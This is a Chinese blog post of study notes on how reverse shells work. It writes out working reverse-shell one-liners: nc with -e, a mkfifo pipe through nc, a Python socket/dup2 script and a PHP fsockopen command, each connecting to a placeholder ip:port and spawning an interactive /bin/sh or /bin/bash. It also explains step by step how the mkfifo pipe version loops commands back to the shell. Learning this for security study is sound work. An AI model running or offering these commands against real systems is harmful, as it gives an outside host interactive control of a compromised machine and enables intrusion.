学习nc反弹shell过程中所想到的
nc反弹shell可以使用如下命令:
nc -e /bin/bash ip port
但是如果nc的版本没有e选项,那么:
mkfifo /tmp/f # 或者 mknod /tmp/f p
cat /tmp/f | /bin/sh -i 2>&1 | nc ip port > /tmp/f
这里逐步解释一下,mkfifo /tmp/f
创建一个管道文件,这个命令与mknod /tmp/f p
等价。
cat /tmp/f
读取管道里的内容;/bin/sh -i 2>&1
以交互方式运行/bin/sh,并将标准错误重定向到标准输出;nc ip port > /tmp/f
连接 ip:port 并将输出重定向到/tmp/f。
这条命令的逻辑是这样的:cat /tmp/f
等待并从命名管道中获取命令,然后将获取到的命令通过匿名管道发送到/bin/sh
执行,然后/bin/sh
将返回的结果再通过匿名管道发送给nc
,nc
则将命令的结果发送到 ip:port ,如果 ip:port 再次输入的命令,那么这个命令被nc
接收后会被重定向到/tmp/f
。于是又开始循环。大致流程如下图所示:
总结下来,反弹shell的基本逻辑就是:
-
- TCP等连接
- IO重定向
- 允许执行系统命令
再记录下python和php反弹shell的方法:
-
- python:
import socket, subprocess, os
# TCP连接
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((“ip”, port))
# IO重定向
os.dup2(s.fileno(), 0) # 将socket的文件描述符复制到标准输入
os.dup2(s.fileno(), 1) # 将socket的文件描述符复制到标准输出
os.dup2(s.fileno(), 2) # 将socket的文件描述符复制到标准错误
# 执行/bin/bash -i
p = subprocess.call([“/bin/bash”, “-i”])
-
- php:
php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 单元测试从入门到精通
· 上周热点回顾(3.3-3.9)
· Vue3状态管理终极指南:Pinia保姆级教程